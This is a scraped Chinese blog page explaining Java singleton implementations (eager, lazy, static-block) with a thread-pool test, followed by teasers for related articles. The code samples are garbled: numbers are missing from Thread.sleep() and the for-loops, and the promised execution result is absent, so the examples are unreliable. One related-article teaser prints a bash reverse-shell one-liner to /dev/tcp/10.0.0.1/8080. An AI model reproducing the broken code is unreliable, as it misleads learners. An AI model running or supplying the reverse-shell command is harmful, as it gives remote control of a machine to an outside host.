java常用设计模式一:单例模式
1、饿汉式
package singleton.demo; /**
* @author Administrator
* @date 2019/01/07
*/
public class Singleton {
//在调用getInstance方法前,实例已经创建好
private static Singleton instance = new Singleton(); //私有构造,防止被实例化
private Singleton() {} public static Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}
2、懒汉式
package singleton.demo; /**
* @author Administrator
* @date 2019/01/07
*/
public class Singleton {
//初始设置为null,需要时才被加载,延迟加载
private static Singleton instance = null; //私有构造,防止被实例化
private Singleton() {} public static Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}
以上两种模式:只适合在单线程环境使用,多线程环境容易出现不同步的情况。在多线程模式下,可能产生问题。比如下面的实例
package singleton.demo; /**
* @author Administrator
* @date 2019/01/07
*/
public class Singleton {
//初始设置为null,需要时才被加载,延迟加载
private static Singleton instance = null; //私有构造,防止被实例化
private Singleton() {} public static Singleton getInstance() {
if (instance == null) {
try {
Thread.sleep();
} catch (InterruptedException e) {
e.printStackTrace();
}
instance = new Singleton();
}
return instance;
}
}
package singleton.demo; import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; /**
* @author Administrator
* @date 2019/01/07
*/
public class Test {
public static void main(String[] args){
ExecutorService executorService = Executors.newCachedThreadPool();
for(int i=;i<;i++){
executorService.submit(new Runnable() {
public void run() {
System.out.println(Singleton.getInstance().hashCode());
}
});
}
executorService.shutdown(); }
}
执行结果:
之所以出现不同步,是因为,当多个线程执行 getInstance() 的时候,都发现instance是null,所以每个线程各自创建了一个instance
3、使用static块实现线程安全的单例模式
注意:以下try-catch不是模式需要的代码,这里只是为了测试多线程环境才加上的
package singleton.demo; /**
* @author Administrator
* @date 2019/01/07
*/
public class Singleton {
//初始设置为null,需要时才被加载,延迟加载
private static Singleton instance = null; //私有构造,防止被实例化
private Singleton() {} static {
instance = new Singleton();
} public static Singleton getInstance() {
if (instance == null) {
try {
Thread.sleep();
} catch (InterruptedException e) {
e.printStackTrace();
}
instance = new Singleton();
}
return instance;
}
}
package singleton.demo; import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; /**
* @author Administrator
* @date 2019/01/07
*/
public class Test {
public static void main(String[] args){
ExecutorService executorService = Executors.newCachedThreadPool();
for(int i=;i<;i++){
executorService.submit(new Runnable() {
public void run() {
System.out.println(Singleton.getInstance().hashCode());
}
});
}
executorService.shutdown(); }
}
java常用设计模式一:单例模式的更多相关文章
- 《java常用设计模式之----单例模式》
一.简介 单例模式(Singleton Pattern)是 Java 中最简单的设计模式之一.这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式. 这种模式涉及到一个单一的类,该类负责创 ...
- java常用设计模式总览
一.java的设计模式大体上分为三大类: 创建型模式(5种):工厂方法模式,抽象工厂模式,单例模式,建造者模式,原型模式. 结构型模式(7种):适配器模式,装饰器模式,代理模式,外观模式,桥接模式,组 ...
- Java与设计模式之单例模式(下) 安全的单例模式
关于单例设计模式,<Java与设计模式之单例模式(上)六种实现方式>介绍了6种不同的单例模式,线程安全,本文介绍该如何保证单例模式最核心的作用——“实现该模式的类有且只有一个实 ...
- Java与设计模式之单例模式(上)六种实现方式
阎宏博士在<JAVA与模式>中是这样描述单例模式的:作为对象的创建模式,单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统提供这个实例.这个类称为单例类. ...
- JAVA常用设计模式(一、单例模式、工厂模式)
JAVA设计模式之单例模式 import java.util.HashMap; import java.util.Map; /** * 设计模式之单例模式 * 单例模式(Singleton Patte ...
- Java设计模式03:常用设计模式之单例模式(创建型模式)
1. Java之单例模式(Singleton Pattern ) 单例模式是一种常见的设计模式,单例模式分三种:懒汉式单例.饿汉式单例.登记式单例三种. 单例模式有一下特点: 1.单例类只能有一个实 ...
- java常用设计模式
一个程序员对设计模式的理解: "不懂"为什么要把很简单的东西搞得那么复杂. 后来随着软件开发经验的增加才开始明白我所看到的"复杂"恰恰就是设计模式的精髓所在,我 ...
- JAVA常用设计模式整理
设计模式:一个程序员对设计模式的理解:“不懂”为什么要把很简单的东西搞得那么复杂.后来随着软件开发经验的增加才开始明白我所看到的“复杂”恰恰就是设计模式的精髓所在,我所理解的“简单”就是一把钥匙开一把 ...
- Java常见设计模式之单例模式
1.何为单例模式? 单例模式是一种常用的软件设计模式.在它的核心结构中只包含一个被称为单例类的特殊类.通过单例模式可以保证系统中一个类只有一个实例而且该实例易于外界访问,从而方便对实例个数的 ...
随机推荐
- as3 文档类引用
/**文档类引用**/ public static var main:CoverMain; public function CoverMain() { main=this; }
- 前端-CSS-11-Z-index
---- z-index 这个东西非常简单,它有四大特性,每个特性你记住了,页面布局就不会出现找不到盒子的情况. z-index 值表示谁压着谁,数值大的压盖住数值小的, 只有定位了的元素,才能有z- ...
- nc命令使用详解
反弹shell方法: 反弹端:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 或 bash -i &> /dev/tcp/ ...
- Eclipse json文件报错
只要找一个json在线解析,验证你的json文件格式的正确性,错误可以忽略. 如要消除红叉,关闭Json Validation即可,如下操作: Window > Preferences > ...
- Haskell语言学习笔记(24)MonadWriter, Writer, WriterT
MonadWriter 类型类 class (Monoid w, Monad m) => MonadWriter w m | m -> w where writer :: (a,w) -& ...
- 机房servlet类实验
源代码1: import java.io.*;import javax.servlet.*;import javax.servlet.http.*;public class accept extend ...
- EasyUI 修改
<script type="text/javascript"> <!-- js --> /*=============================修改对 ...
- Linux终极渗透测试命令总结
本文主要和大家分享Linux终极渗透测试命令总结,如下是一份 Linux 机器的渗透测试备忘录,是在后期开发期间或者执行命令注入等操作时的一些典型命令,设计为测试人员进行本地枚举检查之用. 命令 描述 ...
- 14.7.1&14.7.2
ArrayList <Object> list = new ArrayList<>(); //实例化ArrayList int i; int j; for(i = 1; i & ...
- 利用X.509证书对XML进行加密和签名
综述 XML加密和签名技术应用非常广泛. ASP.NET 使用XML加密对配置信息进行加密:InfoPath使用XML签名对表单进行签名:Web服务使用XML加密和签名对SOAP消息进行加 ...